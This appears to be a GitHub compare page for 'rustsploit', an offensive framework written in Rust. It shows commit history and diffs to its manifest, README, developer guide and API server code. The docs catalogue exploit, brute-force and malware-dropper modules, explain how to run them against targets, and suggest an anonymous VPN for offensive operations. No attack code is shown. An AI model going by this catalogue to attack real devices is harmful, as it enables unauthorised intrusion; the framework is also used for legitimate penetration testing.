Compare commits

...

86 Commits

Author SHA1 Message Date
S.B 386b19a17f Merge pull request #37 from s-b-repo/thekiaboys
Thekiaboys
2026-01-28 08:36:47 +02:00
S.B 9220bdceb5 Update utils.rs 2026-01-28 08:25:10 +02:00
S.B 9431916b8b Update changelog-latest.md 2026-01-28 07:46:46 +02:00
S.B 5f168a79a3 Add files via upload 2026-01-28 07:46:22 +02:00
S.B 63200f3d5e Add files via upload 2026-01-28 07:45:50 +02:00
S.B 978f27e368 Update mod.rs 2026-01-28 07:44:30 +02:00
S.B 40ea4a3a74 Create mongobleed.rs 2026-01-28 07:44:00 +02:00
S.B 90b83e4c29 Add files via upload 2026-01-28 07:42:49 +02:00
S.B e58535d067 Add files via upload 2026-01-28 07:40:59 +02:00
S.B d3596cf9c1 Add files via upload 2026-01-28 07:40:02 +02:00
S.B c1963bd947 Delete src/modules/exploits directory 2026-01-28 07:39:21 +02:00
S.B 5ca83ef795 Add files via upload 2026-01-28 07:38:24 +02:00
S.B c1202e98e9 Delete src/modules/creds/generic directory 2026-01-28 07:37:29 +02:00
S.B 1957eee693 Update api.rs 2026-01-28 07:36:20 +02:00
S.B dc2763d2c4 Update main.rs 2026-01-28 07:35:50 +02:00
S.B 8f2e4adc2d Update config.rs 2026-01-28 07:35:28 +02:00
S.B 1c934adc33 Update utils.rs 2026-01-28 07:35:09 +02:00
S.B f37f5fa8f5 Update shell.rs 2026-01-28 07:34:47 +02:00
S.B a508bcb7dd Merge pull request #36 from s-b-repo/snowball
Snowball
2026-01-28 07:33:50 +02:00
S.B 260b919fba Update shell.rs 2026-01-26 20:35:54 +02:00
S.B ee3d24f6e8 Update changelog-latest.md 2026-01-26 17:09:26 +02:00
S.B cbe7148938 Update utils.rs 2026-01-26 16:40:36 +02:00
S.B 4ec2631a2c Update ftp_bruteforce.rs 2026-01-26 16:39:28 +02:00
S.B 4d6d127045 Update ftp_anonymous.rs 2026-01-26 16:38:51 +02:00
S.B 7da29ae4fe Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-26 16:37:27 +02:00
S.B edef9da2e5 Merge pull request #34 from s-b-repo/pheonix-arta
Pheonix arta
2026-01-26 11:16:50 +02:00
S.B 0bc088d6e5 Update changelog-latest.md 2026-01-26 11:09:44 +02:00
S.B 723241e50e Update Cargo.toml 2026-01-26 11:08:45 +02:00
S.B 63fb9e2387 Update mqtt_bruteforce.rs 2026-01-26 11:08:06 +02:00
S.B bd40afe476 Add files via upload 2026-01-26 11:07:10 +02:00
S.B 537541be89 Delete src/modules/exploits/ruijie directory 2026-01-26 11:06:42 +02:00
S.B 76a44bc3e7 Add files via upload 2026-01-26 10:22:49 +02:00
S.B 176402c12f Delete src/commands directory 2026-01-26 10:22:26 +02:00
S.B 2c67cfe4ee Add files via upload 2026-01-26 10:21:41 +02:00
S.B a4d94476e4 Delete src/modules/scanners directory 2026-01-26 10:21:13 +02:00
S.B 938b613cc1 Add files via upload 2026-01-26 10:20:47 +02:00
S.B 64a0067a36 Add files via upload 2026-01-26 10:19:46 +02:00
S.B 7feccde0b1 Add files via upload 2026-01-26 10:18:18 +02:00
S.B 84ccbb9ce1 Add files via upload 2026-01-26 10:17:22 +02:00
S.B 60a877ca57 Delete src/modules/exploits directory 2026-01-26 10:16:27 +02:00
S.B 2265480f99 Add files via upload 2026-01-26 10:16:01 +02:00
S.B 6de9934070 Delete src/modules/creds directory 2026-01-26 10:15:00 +02:00
S.B e0e2c4d8a9 Update utils.rs 2026-01-26 10:13:54 +02:00
S.B ba160cade8 Update main.rs 2026-01-26 10:13:28 +02:00
S.B 553180eb16 Update shell.rs 2026-01-26 10:13:09 +02:00
S.B 0b17d39a05 Update config.rs 2026-01-26 10:12:38 +02:00
S.B a348d440f8 Update cli.rs 2026-01-26 10:12:22 +02:00
S.B c60d8a69b3 Update api.rs 2026-01-26 10:12:02 +02:00
S.B cd48200b0e Update changelog-latest.md 2026-01-26 10:11:27 +02:00
S.B 566372adae Update readme.md 2026-01-26 10:09:43 +02:00
S.B 9cb1ec0eb7 Update README.md 2026-01-26 10:09:06 +02:00
S.B 5aa35e8fe4 Update Cargo.toml 2026-01-26 10:08:41 +02:00
S.B 7c17a96ba4 Update readme.md 2026-01-23 14:34:33 +02:00
S.B 4985537680 Update changelog-latest.md 2026-01-23 14:34:03 +02:00
S.B 3514bea13c Update README.md 2026-01-23 14:33:20 +02:00
S.B c69ecb237a Merge pull request #33 from s-b-repo/kindred-spirits
Kindred spirits
2026-01-23 14:22:40 +02:00
S.B d61d0987dc Update telnet_bruteforce.rs 2026-01-23 11:37:07 +02:00
S.B 102d618289 Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-23 11:36:30 +02:00
S.B b5d0ce4c70 Update main.rs 2026-01-23 10:28:53 +02:00
S.B 82ff19dc9d Add files via upload 2026-01-23 10:15:09 +02:00
S.B 8d314e6d78 Update mod.rs 2026-01-23 10:12:33 +02:00
S.B aeaa894336 Update changelog-latest.md 2026-01-23 10:06:00 +02:00
S.B 1b407c349f Update changelog-latest.md 2026-01-23 10:05:04 +02:00
S.B 62cfce1b8d Update README.md 2026-01-22 16:36:07 +02:00
S.B c1f4aca340 Update Cargo.toml 2026-01-22 16:35:21 +02:00
S.B b6208db764 Update changelog-latest.md 2026-01-22 16:33:52 +02:00
S.B 66679ee09d Update utils.rs 2026-01-22 16:31:00 +02:00
S.B 4a4ad714b0 Remove proxy functionality from shell context
Removed proxy-related commands and functionality from the shell context, including loading, enabling, disabling, and testing proxies. Updated target setting commands to include shortcuts.
2026-01-22 16:30:22 +02:00
S.B cf95a3db70 Add core module to main.rs 2026-01-22 16:29:41 +02:00
S.B 5434430ad0 Add files via upload 2026-01-22 16:27:47 +02:00
S.B 6d33f0fdaa Delete src/modules/scanners directory 2026-01-22 16:26:44 +02:00
S.B 77124d25a2 Add files via upload 2026-01-22 16:25:33 +02:00
S.B 7ec5089ea8 Delete src/modules/exploits directory 2026-01-22 16:20:55 +02:00
S.B 587e11267a Add files via upload 2026-01-22 16:19:49 +02:00
S.B 65c6ec75b4 Delete src/modules/creds directory 2026-01-22 16:19:07 +02:00
S.B 6bbb9d3048 Add files via upload 2026-01-22 16:18:38 +02:00
S.B de6b598cd9 Delete src/commands directory 2026-01-22 16:18:10 +02:00
S.B d66f33193f Update ftp_bruteforce.rs 2026-01-18 18:53:33 +02:00
S.B be2237e39b Enhance FTP anonymous login checker with mass scan
Added support for mass scanning and improved IP exclusion handling.
2026-01-18 18:52:14 +02:00
S.B f4935c1f9e Update and rename rtsp_bruteforce_advanced.rs to rtsp_bruteforce.rs 2026-01-18 18:50:51 +02:00
S.B b646039f2e Add files via upload 2026-01-18 18:48:13 +02:00
S.B c6c577ed52 Delete src/modules/exploits/ftp directory 2026-01-18 18:47:22 +02:00
S.B 77639bcf8b Update Cargo.toml 2026-01-18 18:46:04 +02:00
S.B 49ab851ffe Add files via upload 2026-01-18 18:45:05 +02:00
S.B 03779dbe64 Update mod.rs 2026-01-18 18:44:35 +02:00
S.B e01e231579 Merge pull request #32 from s-b-repo/esoteric-markdown
Esoteric markdown
2026-01-17 01:06:24 +02:00
144 changed files with 15140 additions and 6011 deletions
+12 -5
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.4.3"
version = "0.5.0"
edition = "2024"
build = "build.rs"
@@ -14,7 +14,7 @@ anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "17.0"
sysinfo = { version = "0.37", features = ["multithread"] }
sysinfo = { version = "0.38", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
@@ -52,7 +52,7 @@ which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "7.1", features = ["tokio-async-native-tls"] }
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "1.0"
@@ -64,9 +64,13 @@ telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# Bluetooth
btleplug = "0.11"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
@@ -89,7 +93,7 @@ chrono = { version = "0.4", features = ["serde"] }
axum = "0.8"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.19", features = ["v4"] }
uuid = { version = "1.19", features = ["v4", "serde"] }
# DNS
hickory-client = { version = "0.25" }
@@ -100,6 +104,9 @@ once_cell = "1.21"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.35"
des = { version = "0.8.1", features = ["zeroize"] }
strsim = "0.11"
byteorder = "1.5.0"
ssh2 = "0.9.5"
[build-dependencies]
regex = "1.12"
+119 -37
View File
@@ -1,14 +1,14 @@
# Rustsploit
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -22,10 +22,9 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
8. [How Modules Are Discovered](#how-modules-are-discovered)
9. [Contributing](#contributing)
10. [Credits](#credits)
---
@@ -33,14 +32,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
@@ -51,14 +50,25 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
---
## Module Catalog
**🚀 New Features:**
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
- ` Note` when `-t` is used without `-m` (target available in shell)
- Error when `--harden` is used without `--api`
- Helpful usage hints printed for common mistakes
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
**📚 Documentation:**
- Updated developer guide with v0.5.0 changes
- Added CLI error handling examples
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
@@ -71,12 +81,51 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```
**Debian/Ubuntu/Kali:**
```bash
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
sudo apt install pkg-config libssl-dev freerdp2-x11 libdbus-1-dev # Required for RDP and Bluetooth modules
```
**Arch Linux:**
```bash
sudo pacman -S pkgconf openssl freerdp
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
```
**Fedora/RHEL:**
```bash
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
```
### Installing Rust & Cargo
**General (Recommended for all Linux/macOS):**
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
**Debian/Ubuntu/Kali:**
```bash
sudo apt install rustc cargo
```
**Arch Linux:**
```bash
sudo pacman -S rust
```
**Fedora/RHEL:**
```bash
sudo dnf install rust cargo
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
@@ -92,10 +141,26 @@ cargo build
cargo run
```
### Install (optional)
### Global Installation (Run from Terminal)
```
To run `rustsploit` from anywhere in your terminal:
**Option 1: Cargo Install (Easiest)**
```bash
cargo install --path .
rustsploit
```
**Option 2: Manually Build Release Binary**
```bash
# 1. Build optimized release version
cargo build --release
# 2. Move binary to your path (e.g., /usr/local/bin)
sudo cp target/release/rustsploit /usr/local/bin/
# 3. Run from anywhere
rustsploit
```
---
@@ -221,10 +286,6 @@ find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
@@ -234,14 +295,9 @@ Example session:
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
### Command Chaining
Execute multiple commands in a single line using the `&` separator:
@@ -270,6 +326,20 @@ cargo run -- --command scanner --module port_scanner --target 192.168.1.1
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
### Global Flags
- `--list-modules`: Print all available modules and exit.
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
- `--output-format <text|json>`: Control output format (default: text).
```bash
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
@@ -330,14 +400,26 @@ Authorization: ApiKey your-api-key-here
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`GET /api/module/:category/:name`** - Get details for a specific module
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`POST /api/validate`** - Validate parameters without execution
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/validate
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
@@ -428,6 +510,8 @@ Log entries include:
- Module execution results
- Resource cleanup operations
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
### Example API Workflow
```
@@ -455,20 +539,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
---
## Proxy Workflow
## Private Internet Recommendations
Rustsploit treats proxy lists as first-class citizens:
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
- **No Registration:** Account numbers are generated without email or personal data.
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
---
File diff suppressed because it is too large Load Diff
+17 -21
View File
@@ -1,6 +1,6 @@
# Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
---
@@ -10,7 +10,7 @@
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
@@ -29,7 +29,7 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
@@ -90,16 +90,15 @@ Because the dispatcher is generated at build time, there is no manual registry d
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Context:** `ShellContext` stores `current_module`, `current_target`.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
@@ -117,19 +116,7 @@ Commands are parsed and executed sequentially from left to right. This is useful
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
@@ -138,6 +125,9 @@ Proxies are set globally via environment variables so both module HTTP requests
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
- `--list-modules` (list all available modules)
- `--verbose` (enable detailed logging)
- `--output-format <text|json>` (control output format)
Example:
@@ -345,6 +335,12 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
### Recent Module Enhancements
- **CVE-2026-24061 Exploit**:
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
- Automated payload execution and interactive shell session
- Mass-scan support with multi-port parallelization and exclusion ranges
- Verified logic for IAC (Interpret As Command) telnet negotiation
- **Telnet Module**:
- Full IAC (Interpret As Command) negotiation with proper option handling
- Enhanced error classification with specific error types
@@ -410,7 +406,7 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
@@ -423,7 +419,7 @@ Feel free to expand this file with reusable pieces (e.g., credential loader, HTT
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
+417 -105
View File
@@ -18,7 +18,8 @@ use std::{
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::{RwLock, Semaphore},
sync::{mpsc, RwLock}, // Removed Semaphore, added mpsc
};
use tower::ServiceBuilder;
use tower_http::{
@@ -60,8 +61,24 @@ pub struct AuthFailureTracker {
pub blocked_until: Option<DateTime<Utc>>,
}
/// Global limit for concurrent module executions to prevent resource exhaustion
const MAX_CONCURRENT_MODULES: usize = 10;
/// Global limit for concurrent module executions
// const MAX_CONCURRENT_MODULES: usize = 10; // Removed, now dynamic
#[derive(Debug)]
pub struct Job {
pub module: String,
pub target: String,
pub verbose: bool,
pub start_time: std::time::Instant,
}
// Force usage of ExecutionError to avoid dead code warning until fully implemented
fn _suppress_dead_code_warning() {
let _ = ApiErrorCode::ExecutionError;
let _ = ApiErrorCode::ServerError;
}
#[derive(Clone)]
pub struct ApiState {
@@ -71,7 +88,8 @@ pub struct ApiState {
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
pub execution_limit: Arc<Semaphore>,
pub job_sender: mpsc::Sender<Job>, // Replaced execution_limit
pub verbose: bool,
}
#[derive(Serialize, Deserialize)]
@@ -79,6 +97,38 @@ pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error_code: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub suggestion: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub request_id: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub timestamp: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub duration_ms: Option<u64>,
}
pub enum ApiErrorCode {
AuthFailed,
RateLimited,
InvalidModule,
InvalidTarget,
ExecutionError,
ServerError,
}
impl ApiErrorCode {
pub fn as_str(&self) -> &'static str {
match self {
ApiErrorCode::AuthFailed => "AUTH_FAILED",
ApiErrorCode::RateLimited => "RATE_LIMITED",
ApiErrorCode::InvalidModule => "INVALID_MODULE",
ApiErrorCode::InvalidTarget => "INVALID_TARGET",
ApiErrorCode::ExecutionError => "EXECUTION_ERROR",
ApiErrorCode::ServerError => "SERVER_ERROR",
}
}
}
#[derive(Serialize, Deserialize)]
@@ -97,6 +147,31 @@ pub struct ListModulesResponse {
// ----------------------
// Validation utilities
// ----------------------
// ----------------------
// Validation utilities
// ----------------------
fn create_response(
success: bool,
message: String,
data: Option<serde_json::Value>,
error_code: Option<String>,
suggestion: Option<String>,
start_time: Option<std::time::Instant>,
) -> ApiResponse {
let duration_ms = start_time.map(|t| t.elapsed().as_millis() as u64);
ApiResponse {
success,
message,
data,
error_code,
suggestion,
request_id: Some(Uuid::new_v4().to_string()),
timestamp: Some(Utc::now().to_rfc3339()),
duration_ms,
}
}
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
@@ -134,7 +209,7 @@ fn validate_target(target: &str) -> bool {
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
pub fn new(initial_key: String, harden: bool, ip_limit: u32, verbose: bool, job_sender: mpsc::Sender<Job>) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
@@ -149,7 +224,8 @@ impl ApiState {
harden_enabled: harden,
ip_limit,
log_file,
execution_limit: Arc::new(Semaphore::new(MAX_CONCURRENT_MODULES)),
job_sender,
verbose,
}
}
@@ -280,6 +356,13 @@ impl ApiState {
Ok(())
}
pub async fn verbose_log(&self, message: &str) -> Result<()> {
if self.verbose {
self.log_message(message).await?;
}
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
@@ -431,11 +514,14 @@ async fn auth_middleware(
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
let response = create_response(
false,
"Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
None,
Some(ApiErrorCode::RateLimited.as_str().to_string()),
None,
None,
);
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
@@ -457,11 +543,14 @@ async fn auth_middleware(
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
